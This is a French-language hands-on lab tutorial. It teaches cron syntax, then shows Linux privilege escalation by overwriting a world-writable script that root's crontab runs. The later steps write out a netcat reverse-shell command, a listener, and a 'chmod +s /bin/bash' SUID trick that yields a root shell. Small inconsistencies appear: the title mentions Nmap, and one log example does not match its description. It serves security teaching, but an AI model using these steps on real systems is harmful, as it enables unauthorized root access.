Apprendre les tâches Cron et l'élévation de privilèges dans Nmap

Introduction

Dans ce laboratoire (lab), nous allons apprendre les tâches Cron (Cron Jobs) et la syntaxe cron. Grâce à des exercices pratiques, vous maîtriserez rapidement l'utilisation de crontab. En outre, nous comprendrons comment exploiter des configurations incorrectes de crontab pour monter en privilèges sur Linux.

Skills Graph

Comprendre les tâches Cron (Cron Jobs) et la syntaxe cron

Dans cette étape, nous allons présenter les tâches Cron (Cron Jobs) et la syntaxe cron.

Les tâches Cron (Cron Jobs) sont des "tâches planifiées" dans le système Linux, couramment utilisées pour programmer des commandes qui doivent être exécutées périodiquement, comme des sauvegardes régulières de données ou la suppression du cache. Elles sont appelées tâches Cron parce qu'elles utilisent l'outil cron (crontab).

Les tâches Cron sont l'un des outils les plus couramment utilisés par les administrateurs système, et elles sont en elles-mêmes d'excellents outils. Cependant, si les "tâches planifiées" sont configurées pour s'exécuter avec des privilèges d'utilisateur plus élevés (par exemple, en tant qu'utilisateur root), elles peuvent potentiellement être exploitées par des attaquants pour monter en privilèges.

La commande crontab utilise la syntaxe suivante :

*    *    *    *    *   [ user ] File/Command
-    -    -    -    -
|    |    |    |    |
|    |    |    |    +----- Jour de la semaine (0 - 7) (0 = dimanche)
|    |    |    +---------- Mois (1 - 12)
|    |    +--------------- Jour du mois (1 - 31)
|    +-------------------- Heure (0 - 23)
+------------------------- Minute (0 - 59)

Le champ user est facultatif. Si non spécifié, la commande ou le script sera exécuté avec les privilèges de l'utilisateur actuel.

Notez que seul l'utilisateur root peut spécifier l'exécution de commandes ou de scripts avec les privilèges d'autres utilisateurs.

Par exemple, si nous voulons afficher le journal des erreurs Apache toutes les heures, nous pouvons utiliser la déclaration suivante :

0 * * * * echo /var/log/lastlog

Étant donné que heure, jour, mois et jour de la semaine sont tous définis sur *, la tâche planifiée sera exécutée une fois chaque fois que la minute atteint 0, c'est-à-dire toutes les heures.

Et si nous devons exécuter une commande toutes les deux heures à la 15e minute? Nous pouvons apporter une modification simple :

15 */2 * * * echo /var/log/lastlog

Pour comprendre l'utilisation de cron, passons par un exemple.

Ouvrez le terminal et accédez au répertoire /home/labex/project. Ensuite, exécutez la commande suivante pour initialiser l'environnement du laboratoire :
```
./env_setup1.sh
```
Après une initialisation réussie, vous verrez le fichier cleanup.py et le répertoire trashDirectory dans le répertoire personnel de l'utilisateur labex. Le répertoire trashDirectory contient deux fichiers : error.log et readme.txt.

Notre objectif pour le laboratoire est le suivant : Utilisez crontab pour ajouter une tâche planifiée qui appelle le script cleanup.py toutes les minutes pour supprimer toutes les données dans le répertoire /home/labex/project/trashDirectory. Le script cleanup.py appelle simplement la commande système rm via la fonction os.system() pour vider le répertoire /home/labex/project/trashDirectory.
Ensuite, utilisez la commande suivante pour ajouter une tâche planifiée dans crontab :
```
echo "* * * * * root python /home/labex/project/cleanup.py" | sudo tee -a /etc/crontab > /dev/null
```
La commande ci-dessus ajoute une tâche planifiée au fichier crontab. La tâche sera exécutée toutes les minutes, et le script cleanup.py sera exécuté avec les privilèges de l'utilisateur root.
Étant donné que le service cron est désactivé par défaut sur notre machine de laboratoire, nous devons le démarrer manuellement avec la commande suivante :
```
sudo service cron start
```
Sortie attendue :
```
* Starting periodic command scheduler cron
```
Après environ une minute, si nous entrons dans le répertoire /home/labex/project/trashDirectory et utilisons la commande ls, nous verrons que les données du répertoire ont été supprimées, ce qui indique que la tâche Cron s'exécute correctement.

Écraser les scripts crontab pour exécuter un reverse shell

Dans cette étape, nous allons apprendre à monter en privilèges en écrasant les scripts appelés par crontab.

Tout d'abord, ouvrez le terminal et accédez au répertoire /home/labex/project. Ensuite, exécutez la commande suivante pour initialiser l'environnement du laboratoire :
```
cd /home/labex/project
```
Exécutez le script pour initialiser l'environnement du laboratoire :
```
./env_setup2.sh
```
Après une initialisation réussie, utilisez la commande suivante pour afficher les tâches planifiées sur l'hôte :
```
cat /etc/crontab
```
L'une des tâches planifiées à la fin du fichier nous a attiré l'attention : toutes les minutes, le système exécute le script /home/labex/project/cleanup.py en tant que root, qui est le fichier que nous avons utilisé à l'étape précédente.
Ensuite, vérifions les autorisations du script :
```
ls -al /home/labex/project/cleanup.py
```
Nous constatons que les autorisations de fichier de cleanup.py sont configurées de manière risquée : les autres utilisateurs ont également la permission d'écriture (w), ce qui signifie que nous pouvons éditer et modifier le contenu de cleanup.py!
Étant donné que cleanup.py est exécuté avec les privilèges de l'utilisateur root, nous pouvons utiliser un reverse shell avec des privilèges root.

Utilisez nc.traditional pour inverser un shell sur le port local 4444 en modifiant le script cleanup.py :
```
...
os.system("nc.traditional 127.0.0.1 4444 -e /bin/bash")
...
```
Enregistrez le fichier et les modifications prendront effet après une minute.

La raison pour laquelle nous utilisons nc.traditional est que la commande nc par défaut ne prend pas en charge l'option -e.
Ensuite, exécutez la commande suivante pour écouter sur le port local 4444 :
```
nc -lnvp 4444
```
Sortie attendue :
```
Listening on 0.0.0.0 4444
```
Après avoir attendu un moment, nous recevons avec succès un reverse shell avec des privilèges root.
```
Connection received on 127.0.0.1 45480
```
Essayez d'exécuter la commande whoami pour vérifier l'utilisateur actuel :
```
whoami
root
```

Écraser les scripts crontab pour attribuer le SUID à Bash

Vous vous souvenez de l'élévation de privilèges SUID (Set User ID) que nous avons discutée précédemment? Nous pouvons également utiliser le script cleanup.py pour modifier les autorisations de certains fichiers exécutables afin qu'ils aient le bit setuid activé, ce qui nous permet de les exploiter pour une élévation de privilèges SUID, par exemple en activant le bit setuid pour bash.

Après la dernière étape, vous êtes peut - être toujours dans un shell root. Pour cette étape, vous devez vous déconnecter du shell root et vous reconnecter en tant qu'utilisateur labex en exécutant la commande suivante :

exit

Ou vous pouvez ouvrir un nouveau terminal et vous connecter en tant qu'utilisateur labex.

Ensuite, exécutez la commande suivante pour accéder au répertoire /home/labex/project :

cd /home/labex/project

Actuellement, /bin/bash n'a pas le bit setuid activé :
```
ls -l /bin/bash
```
De manière similaire à l'étape précédente, modifiez la commande exécutée par le script cleanup.py pour qu'elle devienne la commande suivante :
```
...
os.system("chmod +s /bin/bash")
...
```
Après un certain temps, si nous vérifions /bin/bash, nous constaterons qu'il a maintenant le bit setuid activé, ce qui indique que la tâche planifiée a été exécutée avec succès :
```
ls -l /bin/bash
```
Sortie attendue :
```
-rwsr - sr - x 1 root root 1396520 Jan 7 2022 /bin/bash
```
Comme indiqué ci - dessus, nous pouvons maintenant utiliser bash -p pour obtenir les privilèges root.
```
labex:project/ $ bash -p
bash - 5.1## whoami
root
```
Créez un fichier nommé success.txt dans le répertoire /root pour indiquer que vous avez réussi à monter en privilèges :
```
echo "Congratulations! You have successfully escalated privileges to root." > /root/success.txt
```

Résumé

Dans ce laboratoire (lab), nous avons appris les tâches Cron (Cron Jobs) et la syntaxe cron, et nous avons maîtrisé l'utilisation de crontab grâce à des exercices pratiques. Enfin, nous avons exploité une configuration incorrecte de crontab pour réussir à monter en privilèges et obtenir un shell avec les droits root.